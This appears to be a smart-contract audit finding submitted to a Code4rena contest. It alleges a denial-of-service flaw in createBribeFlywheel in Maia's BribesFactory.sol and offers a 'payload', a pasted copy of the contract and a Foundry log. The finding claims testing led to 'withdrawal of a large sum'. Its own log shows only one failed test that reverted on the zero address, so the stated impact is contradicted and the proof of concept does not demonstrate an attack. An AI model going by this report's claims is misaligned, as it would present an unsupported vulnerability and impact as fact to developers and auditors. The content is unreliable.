Lines of code

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/gauges/factories/BribesFactory.sol#L79-L99

Vulnerability details

Impact

This call is executed following another call within the same transaction. It is possible that the call never gets executed if a prior call fails permanently. This might be caused intentionally by a malicious callee. This has lead to withdrawal of a large sum when testing the DOS code in foundry. Please see log.

Proof of Concept

Command line:

forge test --match-path ./src/gauges/factories/BribesFactory.sol --verbosity -vvvvv

Payload:

contract testAttack {

    function testattack(BribesFactory bribesFactory) public payable {
        bribesFactory.createBribeFlywheel(address(bribesFactory));
    }
}

Exploit:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Ownable} from "solady/auth/Ownable.sol";

import {ERC20} from "solmate/tokens/ERC20.sol";

import {BaseV2Gauge} from "@gauges/BaseV2Gauge.sol";

import {FlywheelBoosterGaugeWeight} from "@rewards/booster/FlywheelBoosterGaugeWeight.sol";
import {FlywheelBribeRewards} from "@rewards/rewards/FlywheelBribeRewards.sol";
import {FlywheelCore} from "@rewards/FlywheelCoreStrategy.sol";

import {BaseV2GaugeFactory, BaseV2GaugeManager} from "./BaseV2GaugeManager.sol";
import {IBribesFactory} from "../interfaces/IBribesFactory.sol";

/// @title Gauge Bribes Factory
contract BribesFactory is Ownable, IBribesFactory {
    /*///////////////////////////////////////////////////////////////
                        BRIBES FACTORY STATE
    //////////////////////////////////////////////////////////////*/

    /// @inheritdoc IBribesFactory
    uint256 public immutable rewardsCycleLength;

    FlywheelBoosterGaugeWeight private immutable flywheelGaugeWeightBooster;

    /// @inheritdoc IBribesFactory
    FlywheelCore[] public bribeFlywheels;

    /// @inheritdoc IBribesFactory
    mapping(FlywheelCore => uint256) public bribeFlywheelIds;

    /// @inheritdoc IBribesFactory
    mapping(FlywheelCore => bool) public activeBribeFlywheels;

    /// @inheritdoc IBribesFactory
    mapping(address => FlywheelCore) public flywheelTokens;

    /// @inheritdoc IBribesFactory
    BaseV2GaugeManager public immutable gaugeManager;

    /**
     * @notice Creates a new bribes factory
     * @param _gaugeManager Gauge Factory manager
     * @param _flywheelGaugeWeightBooster Flywheel Gauge Weight Booster
     * @param _rewardsCycleLength Rewards Cycle Length
     * @param _owner Owner of this contract
     */
    constructor(
        BaseV2GaugeManager _gaugeManager,
        FlywheelBoosterGaugeWeight _flywheelGaugeWeightBooster,
        uint256 _rewardsCycleLength,
        address _owner
    ) {
        _initializeOwner(_owner);
        gaugeManager = _gaugeManager;
        flywheelGaugeWeightBooster = _flywheelGaugeWeightBooster;
        rewardsCycleLength = _rewardsCycleLength;
    }

    /// @inheritdoc IBribesFactory
    function getBribeFlywheels() external view returns (FlywheelCore[] memory) {
        return bribeFlywheels;
    }

    /*//////////////////////////////////////////////////////////////
                        CREATE BRIBE LOGIC
    //////////////////////////////////////////////////////////////*/

    /// @inheritdoc IBribesFactory
    function addGaugetoFlywheel(address gauge, address bribeToken) external onlyGaugeFactory {
        if (address(flywheelTokens[bribeToken]) == address(0)) createBribeFlywheel(bribeToken);

        flywheelTokens[bribeToken].addStrategyForRewards(ERC20(gauge));
    }

    /// @inheritdoc IBribesFactory
    function createBribeFlywheel(address bribeToken) public {
        if (address(flywheelTokens[bribeToken]) != address(0)) revert BribeFlywheelAlreadyExists();

        FlywheelCore flywheel = new FlywheelCore(
            bribeToken,
            FlywheelBribeRewards(address(0)),
            flywheelGaugeWeightBooster,
            address(this)
        );

        flywheelTokens[bribeToken] = flywheel;

        uint256 id = bribeFlywheels.length;
        bribeFlywheels.push(flywheel);
        bribeFlywheelIds[flywheel] = id;
        activeBribeFlywheels[flywheel] = true;

        flywheel.setFlywheelRewards(address(new FlywheelBribeRewards(flywheel, rewardsCycleLength)));

        emit BribeFlywheelCreated(bribeToken, flywheel);
    }

    /*//////////////////////////////////////////////////////////////
                            MODIFIERS
    //////////////////////////////////////////////////////////////*/

    modifier onlyGaugeFactory() {
        if (!gaugeManager.activeGaugeFactories(BaseV2GaugeFactory(msg.sender))) {
            revert Unauthorized();
        }
        _;
    }
}

contract testAttack {

    function testattack(BribesFactory bribesFactory) public payable {
        bribesFactory.createBribeFlywheel(address(bribesFactory));
    }
}

Log

forge test --match-path ./src/gauges/factories/BribesFactory.sol --verbosity -vvvvv
[⠘] Compiling...
[⠊] Compiling 50 files with 0.8.18
[⠔] Solc 0.8.18 finished in 13.70s
Compiler run successful!

Running 1 test for src/gauges/factories/BribesFactory.sol:testAttack
[FAIL. Reason: EvmError: Revert Counterexample: calldata=0x6a4ecd950000000000000000000000000000000000000000000000000000000000000000, args=[0x0000000000000000000000000000000000000000]] testattack(address) (runs: 0, μ: 0, ~: 0)
Traces:
  [2954] testAttack::testattack(0x0000000000000000000000000000000000000000) 
    └─ ← "EvmError: Revert"

Test result: FAILED. 0 passed; 1 failed; finished in 4.95ms

Failing tests:
Encountered 1 failing test in src/gauges/factories/BribesFactory.sol:testAttack
[FAIL. Reason: EvmError: Revert Counterexample: calldata=0x6a4ecd950000000000000000000000000000000000000000000000000000000000000000, args=[0x0000000000000000000000000000000000000000]] testattack(address) (runs: 0, μ: 0, ~: 0)

Encountered a total of 1 failing tests, 0 tests succeeded

Tools Used

Mythx + Foundry + VS Code

Recommended Mitigation Steps

Do not use push, instead use pull. If possible, refactor the code such that each transaction only executes one external call or make sure that all callees can be trusted (i.e. they're part of your own codebase).

Assessed type

DoS

code-423n4 / 2023-05-maia-findings

Multiple calls are executed in the same transaction in BribesFactory.sol within the function called createBribeFlywheel #35